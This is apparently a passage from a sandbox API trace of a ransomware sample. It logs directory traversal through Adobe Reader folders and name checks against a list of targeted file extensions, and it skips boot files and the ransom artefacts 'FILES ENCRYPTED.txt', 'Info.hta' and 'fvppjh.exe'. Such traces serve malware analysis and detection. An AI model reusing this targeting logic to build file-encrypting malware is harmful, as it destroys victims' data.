	[0172.437] lstrcmpiW (lpString1=".j2c", lpString2="s.js") returned -1
	[0172.437] lstrlenW (lpString=".j2k") returned 4
	[0172.437] lstrcmpiW (lpString1=".j2k", lpString2="s.js") returned -1
	[0172.437] lstrlenW (lpString=".java") returned 5
	[0172.437] lstrcmpiW (lpString1=".java", lpString2="gs.js") returned -1
	[0172.437] lstrlenW (lpString=".jp2") returned 4
	[0172.437] lstrcmpiW (lpString1=".jp2", lpString2="s.js") returned -1
	[0172.437] lstrlenW (lpString=".jpc") returned 4
	[0172.437] lstrcmpiW (lpString1=".jpc", lpString2="s.js") returned -1
	[0172.437] lstrlenW (lpString=".jpe") returned 4
	[0172.438] lstrcmpiW (lpString1=".jpe", lpString2="s.js") returned -1
	[0172.438] lstrlenW (lpString=".jpeg") returned 5
	[0172.438] lstrcmpiW (lpString1=".jpeg", lpString2="gs.js") returned -1
	[0172.438] lstrlenW (lpString=".jpf") returned 4
	[0172.438] lstrcmpiW (lpString1=".jpf", lpString2="s.js") returned -1
	[0172.438] lstrlenW (lpString=".jpg") returned 4
	[0172.438] lstrcmpiW (lpString1=".jpg", lpString2="s.js") returned -1
	[0172.438] lstrlenW (lpString=".jpx") returned 4
	[0172.438] lstrcmpiW (lpString1=".jpx", lpString2="s.js") returned -1
	[0172.438] lstrlenW (lpString=".js") returned 3
	[0172.438] lstrcmpiW (lpString1=".js", lpString2=".js") returned 0
	[0172.438] lstrlenW (lpString="ui-strings.js") returned 13
	[0172.438] lstrlenW (lpString=".GTF") returned 4
	[0172.438] lstrcmpiW (lpString1=".GTF", lpString2="s.js") returned -1
	[0172.438] lstrlenW (lpString="ui-strings.js") returned 13
	[0172.438] lstrcmpiW (lpString1="boot.ini", lpString2="ui-strings.js") returned -1
	[0172.438] lstrcmpiW (lpString1="bootfont.bin", lpString2="ui-strings.js") returned -1
	[0172.438] lstrcmpiW (lpString1="ntldr", lpString2="ui-strings.js") returned -1
	[0172.438] lstrcmpiW (lpString1="ntdetect.com", lpString2="ui-strings.js") returned -1
	[0172.438] lstrcmpiW (lpString1="io.sys", lpString2="ui-strings.js") returned -1
	[0172.438] lstrcmpiW (lpString1="FILES ENCRYPTED.txt", lpString2="ui-strings.js") returned -1
	[0172.438] lstrcmpiW (lpString1="Info.hta", lpString2="ui-strings.js") returned -1
	[0172.438] lstrcmpiW (lpString1="fvppjh.exe", lpString2="ui-strings.js") returned -1
	[0172.438] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\createpdfupsell-app\\js\\nls\\ui-strings.js") returned 135
	[0172.438] FindNextFileW (in: hFindFile=0x4140898, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="uk-ua", cAlternateFileName="")) returned 1
	[0172.438] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\createpdfupsell-app\\js\\nls\\uk-ua") returned 127
	[0172.438] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\createpdfupsell-app\\js\\nls\\uk-ua") returned 1
	[0172.438] lstrlenW (lpString="uk-ua") returned 5
	[0172.439] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="uk-ua") returned -1
	[0172.439] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x4220460
	[0172.439] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\createpdfupsell-app\\js\\nls\\uk-ua") returned 127
	[0172.439] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\createpdfupsell-app\\js\\nls\\uk-ua\\*", lpFindFileData=0x374dcac | out: lpFindFileData=0x374dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x41409d8
	[0172.439] FindNextFileW (in: hFindFile=0x41409d8, lpFindFileData=0x374dcac | out: lpFindFileData=0x374dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0172.439] FindNextFileW (in: hFindFile=0x41409d8, lpFindFileData=0x374dcac | out: lpFindFileData=0x374dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x58a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1
	[0172.439] lstrlenW (lpString="ui-strings.js") returned 13
	[0172.439] lstrlenW (lpString=".1cd") returned 4
	[0172.439] lstrcmpiW (lpString1=".1cd", lpString2="s.js") returned -1
	[0172.439] lstrlenW (lpString=".3ds") returned 4
	[0172.439] lstrcmpiW (lpString1=".3ds", lpString2="s.js") returned -1
	[0172.439] lstrlenW (lpString=".3fr") returned 4
	[0172.439] lstrcmpiW (lpString1=".3fr", lpString2="s.js") returned -1
	[0172.439] lstrlenW (lpString=".3g2") returned 4
	[0172.439] lstrcmpiW (lpString1=".3g2", lpString2="s.js") returned -1
	[0172.439] lstrlenW (lpString=".3gp") returned 4
	[0172.439] lstrcmpiW (lpString1=".3gp", lpString2="s.js") returned -1
	[0172.439] lstrlenW (lpString=".7z") returned 3
	[0172.439] lstrcmpiW (lpString1=".7z", lpString2=".js") returned -1
	[0172.439] lstrlenW (lpString=".accda") returned 6
	[0172.440] lstrcmpiW (lpString1=".accda", lpString2="ngs.js") returned -1
	[0172.440] lstrlenW (lpString=".accdb") returned 6
	[0172.440] lstrcmpiW (lpString1=".accdb", lpString2="ngs.js") returned -1
	[0172.440] lstrlenW (lpString=".accdc") returned 6
	[0172.440] lstrcmpiW (lpString1=".accdc", lpString2="ngs.js") returned -1
	[0172.440] lstrlenW (lpString=".accde") returned 6
	[0172.440] lstrcmpiW (lpString1=".accde", lpString2="ngs.js") returned -1
	[0172.440] lstrlenW (lpString=".accdt") returned 6
	[0172.440] lstrcmpiW (lpString1=".accdt", lpString2="ngs.js") returned -1
	[0172.440] lstrlenW (lpString=".accdw") returned 6
	[0172.440] lstrcmpiW (lpString1=".accdw", lpString2="ngs.js") returned -1
	[0172.440] lstrlenW (lpString=".adb") returned 4
	[0172.440] lstrcmpiW (lpString1=".adb", lpString2="s.js") returned -1
	[0172.440] lstrlenW (lpString=".adp") returned 4
	[0172.440] lstrcmpiW (lpString1=".adp", lpString2="s.js") returned -1
	[0172.440] lstrlenW (lpString=".ai") returned 3
	[0172.440] lstrcmpiW (lpString1=".ai", lpString2=".js") returned -1
	[0172.440] lstrlenW (lpString=".ai3") returned 4
	[0172.440] lstrcmpiW (lpString1=".ai3", lpString2="s.js") returned -1
	[0172.440] lstrlenW (lpString=".ai4") returned 4
	[0172.440] lstrcmpiW (lpString1=".ai4", lpString2="s.js") returned -1
	[0172.440] lstrlenW (lpString=".ai5") returned 4
	[0172.440] lstrcmpiW (lpString1=".ai5", lpString2="s.js") returned -1
	[0172.440] lstrlenW (lpString=".ai6") returned 4
	[0172.440] lstrcmpiW (lpString1=".ai6", lpString2="s.js") returned -1
	[0172.440] lstrlenW (lpString=".ai7") returned 4
	[0172.440] lstrcmpiW (lpString1=".ai7", lpString2="s.js") returned -1
	[0172.440] lstrlenW (lpString=".ai8") returned 4
	[0172.440] lstrcmpiW (lpString1=".ai8", lpString2="s.js") returned -1
	[0172.440] lstrlenW (lpString=".anim") returned 5
	[0172.440] lstrcmpiW (lpString1=".anim", lpString2="gs.js") returned -1
	[0172.440] lstrlenW (lpString=".arw") returned 4
	[0172.440] lstrcmpiW (lpString1=".arw", lpString2="s.js") returned -1
	[0172.441] lstrlenW (lpString=".as") returned 3
	[0172.441] lstrcmpiW (lpString1=".as", lpString2=".js") returned -1
	[0172.441] lstrlenW (lpString=".asa") returned 4
	[0172.441] lstrcmpiW (lpString1=".asa", lpString2="s.js") returned -1
	[0172.441] lstrlenW (lpString=".asc") returned 4
	[0172.441] lstrcmpiW (lpString1=".asc", lpString2="s.js") returned -1
	[0172.441] lstrlenW (lpString=".ascx") returned 5
	[0172.441] lstrcmpiW (lpString1=".ascx", lpString2="gs.js") returned -1
	[0172.441] lstrlenW (lpString=".asm") returned 4
	[0172.441] lstrcmpiW (lpString1=".asm", lpString2="s.js") returned -1
	[0172.441] lstrlenW (lpString=".asmx") returned 5
	[0172.441] lstrcmpiW (lpString1=".asmx", lpString2="gs.js") returned -1
	[0172.441] lstrlenW (lpString=".asp") returned 4
	[0172.441] lstrcmpiW (lpString1=".asp", lpString2="s.js") returned -1
	[0172.441] lstrlenW (lpString=".aspx") returned 5
	[0172.441] lstrcmpiW (lpString1=".aspx", lpString2="gs.js") returned -1
	[0172.441] lstrlenW (lpString=".asr") returned 4
	[0172.441] lstrcmpiW (lpString1=".asr", lpString2="s.js") returned -1
	[0172.441] lstrlenW (lpString=".asx") returned 4
	[0172.441] lstrcmpiW (lpString1=".asx", lpString2="s.js") returned -1
	[0172.441] lstrlenW (lpString=".avi") returned 4
	[0172.441] lstrcmpiW (lpString1=".avi", lpString2="s.js") returned -1
	[0172.441] lstrlenW (lpString=".avs") returned 4
	[0172.441] lstrcmpiW (lpString1=".avs", lpString2="s.js") returned -1
	[0172.441] lstrlenW (lpString=".backup") returned 7
	[0172.441] lstrcmpiW (lpString1=".backup", lpString2="ings.js") returned -1
	[0172.442] lstrlenW (lpString=".bak") returned 4
	[0172.442] lstrcmpiW (lpString1=".bak", lpString2="s.js") returned -1
	[0172.442] lstrlenW (lpString=".bay") returned 4
	[0172.442] lstrcmpiW (lpString1=".bay", lpString2="s.js") returned -1
	[0172.442] lstrlenW (lpString=".bd") returned 3
	[0172.442] lstrcmpiW (lpString1=".bd", lpString2=".js") returned -1
	[0172.442] lstrlenW (lpString=".bin") returned 4
	[0172.442] lstrcmpiW (lpString1=".bin", lpString2="s.js") returned -1
	[0172.442] lstrlenW (lpString=".bmp") returned 4
	[0172.442] lstrcmpiW (lpString1=".bmp", lpString2="s.js") returned -1
	[0172.442] lstrlenW (lpString=".bz2") returned 4
	[0172.442] lstrcmpiW (lpString1=".bz2", lpString2="s.js") returned -1
	[0172.442] lstrlenW (lpString=".c") returned 2
	[0172.442] lstrcmpiW (lpString1=".c", lpString2="js") returned -1
	[0172.442] lstrlenW (lpString=".cdr") returned 4
	[0172.442] lstrcmpiW (lpString1=".cdr", lpString2="s.js") returned -1
	[0172.442] lstrlenW (lpString=".cer") returned 4
	[0172.442] lstrcmpiW (lpString1=".cer", lpString2="s.js") returned -1
	[0172.442] lstrlenW (lpString=".cf") returned 3
	[0172.442] lstrcmpiW (lpString1=".cf", lpString2=".js") returned -1
	[0172.442] lstrlenW (lpString=".cfc") returned 4
	[0172.442] lstrcmpiW (lpString1=".cfc", lpString2="s.js") returned -1
	[0172.442] lstrlenW (lpString=".cfm") returned 4
	[0172.442] lstrcmpiW (lpString1=".cfm", lpString2="s.js") returned -1
	[0172.442] lstrlenW (lpString=".cfml") returned 5
	[0172.442] lstrcmpiW (lpString1=".cfml", lpString2="gs.js") returned -1
	[0172.442] lstrlenW (lpString=".cfu") returned 4
	[0172.442] lstrcmpiW (lpString1=".cfu", lpString2="s.js") returned -1
	[0172.442] lstrlenW (lpString=".chm") returned 4
	[0172.443] lstrcmpiW (lpString1=".chm", lpString2="s.js") returned -1
	[0172.443] lstrlenW (lpString=".cin") returned 4
	[0172.443] lstrcmpiW (lpString1=".cin", lpString2="s.js") returned -1
	[0172.443] lstrlenW (lpString=".class") returned 6
	[0172.443] lstrcmpiW (lpString1=".class", lpString2="ngs.js") returned -1
	[0172.443] lstrlenW (lpString=".clx") returned 4
	[0172.443] lstrcmpiW (lpString1=".clx", lpString2="s.js") returned -1
	[0172.443] lstrlenW (lpString=".config") returned 7
	[0172.443] lstrcmpiW (lpString1=".config", lpString2="ings.js") returned -1
	[0172.443] lstrlenW (lpString=".cpp") returned 4
	[0172.443] lstrcmpiW (lpString1=".cpp", lpString2="s.js") returned -1
	[0172.443] lstrlenW (lpString=".cr2") returned 4
	[0172.443] lstrcmpiW (lpString1=".cr2", lpString2="s.js") returned -1
	[0172.443] lstrlenW (lpString=".crt") returned 4
	[0172.443] lstrcmpiW (lpString1=".crt", lpString2="s.js") returned -1
	[0172.443] lstrlenW (lpString=".crw") returned 4
	[0172.443] lstrcmpiW (lpString1=".crw", lpString2="s.js") returned -1
	[0172.443] lstrlenW (lpString=".cs") returned 3
	[0172.443] lstrcmpiW (lpString1=".cs", lpString2=".js") returned -1
	[0172.443] lstrlenW (lpString=".css") returned 4
	[0172.443] lstrcmpiW (lpString1=".css", lpString2="s.js") returned -1
	[0172.443] lstrlenW (lpString=".csv") returned 4
	[0172.443] lstrcmpiW (lpString1=".csv", lpString2="s.js") returned -1
	[0172.443] lstrlenW (lpString=".cub") returned 4
	[0172.443] lstrcmpiW (lpString1=".cub", lpString2="s.js") returned -1
	[0172.443] lstrlenW (lpString=".dae") returned 4
	[0172.443] lstrcmpiW (lpString1=".dae", lpString2="s.js") returned -1
	[0172.443] lstrlenW (lpString=".dat") returned 4
	[0172.443] lstrcmpiW (lpString1=".dat", lpString2="s.js") returned -1
	[0172.443] lstrlenW (lpString=".db") returned 3
	[0172.443] lstrcmpiW (lpString1=".db", lpString2=".js") returned -1
	[0172.443] lstrlenW (lpString=".dbf") returned 4
	[0172.443] lstrcmpiW (lpString1=".dbf", lpString2="s.js") returned -1
	[0172.443] lstrlenW (lpString=".dbx") returned 4
	[0172.444] lstrcmpiW (lpString1=".dbx", lpString2="s.js") returned -1
	[0172.444] lstrlenW (lpString=".dc3") returned 4
	[0172.444] lstrcmpiW (lpString1=".dc3", lpString2="s.js") returned -1
	[0172.444] lstrlenW (lpString=".dcm") returned 4
	[0172.444] lstrcmpiW (lpString1=".dcm", lpString2="s.js") returned -1
	[0172.444] lstrlenW (lpString=".dcr") returned 4
	[0172.444] lstrcmpiW (lpString1=".dcr", lpString2="s.js") returned -1
	[0172.444] lstrlenW (lpString=".der") returned 4
	[0172.444] lstrcmpiW (lpString1=".der", lpString2="s.js") returned -1
	[0172.444] lstrlenW (lpString=".dib") returned 4
	[0172.444] lstrcmpiW (lpString1=".dib", lpString2="s.js") returned -1
	[0172.444] lstrlenW (lpString=".dic") returned 4
	[0172.444] lstrcmpiW (lpString1=".dic", lpString2="s.js") returned -1
	[0172.444] lstrlenW (lpString=".dif") returned 4
	[0172.444] lstrcmpiW (lpString1=".dif", lpString2="s.js") returned -1
	[0172.444] lstrlenW (lpString=".divx") returned 5
	[0172.444] lstrcmpiW (lpString1=".divx", lpString2="gs.js") returned -1
	[0172.444] lstrlenW (lpString=".djvu") returned 5
	[0172.444] lstrcmpiW (lpString1=".djvu", lpString2="gs.js") returned -1
	[0172.444] lstrlenW (lpString=".dng") returned 4
	[0172.444] lstrcmpiW (lpString1=".dng", lpString2="s.js") returned -1
	[0172.444] lstrlenW (lpString=".doc") returned 4
	[0172.444] lstrcmpiW (lpString1=".doc", lpString2="s.js") returned -1
	[0172.444] lstrlenW (lpString=".docm") returned 5
	[0172.444] lstrcmpiW (lpString1=".docm", lpString2="gs.js") returned -1
	[0172.444] lstrlenW (lpString=".docx") returned 5
	[0172.444] lstrcmpiW (lpString1=".docx", lpString2="gs.js") returned -1
	[0172.444] lstrlenW (lpString=".dot") returned 4
	[0172.444] lstrcmpiW (lpString1=".dot", lpString2="s.js") returned -1
	[0172.444] lstrlenW (lpString=".dotm") returned 5
	[0172.444] lstrcmpiW (lpString1=".dotm", lpString2="gs.js") returned -1
	[0172.445] lstrlenW (lpString=".dotx") returned 5
	[0172.445] lstrcmpiW (lpString1=".dotx", lpString2="gs.js") returned -1
	[0172.445] lstrlenW (lpString=".dpx") returned 4
	[0172.445] lstrcmpiW (lpString1=".dpx", lpString2="s.js") returned -1
	[0172.445] lstrlenW (lpString=".dqy") returned 4
	[0172.445] lstrcmpiW (lpString1=".dqy", lpString2="s.js") returned -1
	[0172.445] lstrlenW (lpString=".dsn") returned 4
	[0172.445] lstrcmpiW (lpString1=".dsn", lpString2="s.js") returned -1
	[0172.445] lstrlenW (lpString=".dt") returned 3
	[0172.445] lstrcmpiW (lpString1=".dt", lpString2=".js") returned -1
	[0172.445] lstrlenW (lpString=".dtd") returned 4
	[0172.445] lstrcmpiW (lpString1=".dtd", lpString2="s.js") returned -1
	[0172.445] lstrlenW (lpString=".dwg") returned 4
	[0172.445] lstrcmpiW (lpString1=".dwg", lpString2="s.js") returned -1
	[0172.445] lstrlenW (lpString=".dwt") returned 4
	[0172.445] lstrcmpiW (lpString1=".dwt", lpString2="s.js") returned -1
	[0172.445] lstrlenW (lpString=".dx") returned 3
	[0172.445] lstrcmpiW (lpString1=".dx", lpString2=".js") returned -1
	[0172.445] lstrlenW (lpString=".dxf") returned 4
	[0172.445] lstrcmpiW (lpString1=".dxf", lpString2="s.js") returned -1
	[0172.445] lstrlenW (lpString=".edml") returned 5
	[0172.445] lstrcmpiW (lpString1=".edml", lpString2="gs.js") returned -1
	[0172.445] lstrlenW (lpString=".efd") returned 4
	[0172.445] lstrcmpiW (lpString1=".efd", lpString2="s.js") returned -1
	[0172.445] lstrlenW (lpString=".elf") returned 4
	[0172.445] lstrcmpiW (lpString1=".elf", lpString2="s.js") returned -1
	[0172.445] lstrlenW (lpString=".emf") returned 4
	[0172.445] lstrcmpiW (lpString1=".emf", lpString2="s.js") returned -1
	[0172.445] lstrlenW (lpString=".emz") returned 4
	[0172.445] lstrcmpiW (lpString1=".emz", lpString2="s.js") returned -1
	[0172.445] lstrlenW (lpString=".epf") returned 4
	[0172.445] lstrcmpiW (lpString1=".epf", lpString2="s.js") returned -1
	[0172.445] lstrlenW (lpString=".eps") returned 4
	[0172.445] lstrcmpiW (lpString1=".eps", lpString2="s.js") returned -1
	[0172.446] lstrlenW (lpString=".epsf") returned 5
	[0172.446] lstrcmpiW (lpString1=".epsf", lpString2="gs.js") returned -1
	[0172.446] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0172.446] FindNextFileW (in: hFindFile=0x4140898, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-cn", cAlternateFileName="")) returned 1
	[0172.714] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0172.714] FindNextFileW (in: hFindFile=0x4140898, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-tw", cAlternateFileName="")) returned 1
	[0172.714] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0172.714] FindNextFileW (in: hFindFile=0x4140898, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-tw", cAlternateFileName="")) returned 0
	[0172.714] FindClose (in: hFindFile=0x4140898 | out: hFindFile=0x4140898) returned 1
	[0172.714] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4210458 | out: hHeap=0x5a0000) returned 1
	[0172.714] FindNextFileW (in: hFindFile=0x4140a58, lpFindFileData=0x374e1a4 | out: lpFindFileData=0x374e1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3bd, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="plugin.js", cAlternateFileName="")) returned 1
	[0172.715] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42d29c0 | out: hHeap=0x5a0000) returned 1
	[0172.715] FindNextFileW (in: hFindFile=0x4140898, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="rhp", cAlternateFileName="")) returned 0
	[0172.715] FindClose (in: hFindFile=0x4140898 | out: hFindFile=0x4140898) returned 1
	[0172.715] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42c29b8 | out: hHeap=0x5a0000) returned 1
	[0172.715] FindNextFileW (in: hFindFile=0x4140a58, lpFindFileData=0x374e1a4 | out: lpFindFileData=0x374e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="plugins", cAlternateFileName="")) returned 0
	[0172.715] FindClose (in: hFindFile=0x4140a58 | out: hFindFile=0x4140a58) returned 1
	[0172.715] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42e29c8 | out: hHeap=0x5a0000) returned 1
	[0172.715] FindNextFileW (in: hFindFile=0x4140ed8, lpFindFileData=0x374e420 | out: lpFindFileData=0x374e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 0
	[0172.715] FindClose (in: hFindFile=0x4140ed8 | out: hFindFile=0x4140ed8) returned 1
	[0172.715] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0172.717] FindNextFileW (in: hFindFile=0x4140e98, lpFindFileData=0x374e69c | out: lpFindFileData=0x374e69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed70183, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed70183, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed70183, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="dc-annotations", cAlternateFileName="DC-ANN~1")) returned 1
	[0172.718] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5090050 | out: hHeap=0x5a0000) returned 1
	[0172.718] FindNextFileW (in: hFindFile=0x41409d8, lpFindFileData=0x374e420 | out: lpFindFileData=0x374e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed70183, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed70183, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed70183, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 1
	[0172.718] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5090050 | out: hHeap=0x5a0000) returned 1
	[0172.718] FindNextFileW (in: hFindFile=0x41409d8, lpFindFileData=0x374e420 | out: lpFindFileData=0x374e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed70183, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed70183, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed70183, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 0
	[0172.718] FindClose (in: hFindFile=0x41409d8 | out: hFindFile=0x41409d8) returned 1
	[0172.718] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5080048 | out: hHeap=0x5a0000) returned 1
	[0172.718] FindNextFileW (in: hFindFile=0x4140e98, lpFindFileData=0x374e69c | out: lpFindFileData=0x374e69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf109acf7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf109acf7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf109acf7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="desktop-connector-files", cAlternateFileName="DESKTO~2")) returned 1
	[0172.718] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5090050 | out: hHeap=0x5a0000) returned 1
	[0172.718] FindNextFileW (in: hFindFile=0x4140898, lpFindFileData=0x374e420 | out: lpFindFileData=0x374e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf109acf7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf109acf7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x1b7c046, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 1
	[0172.719] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
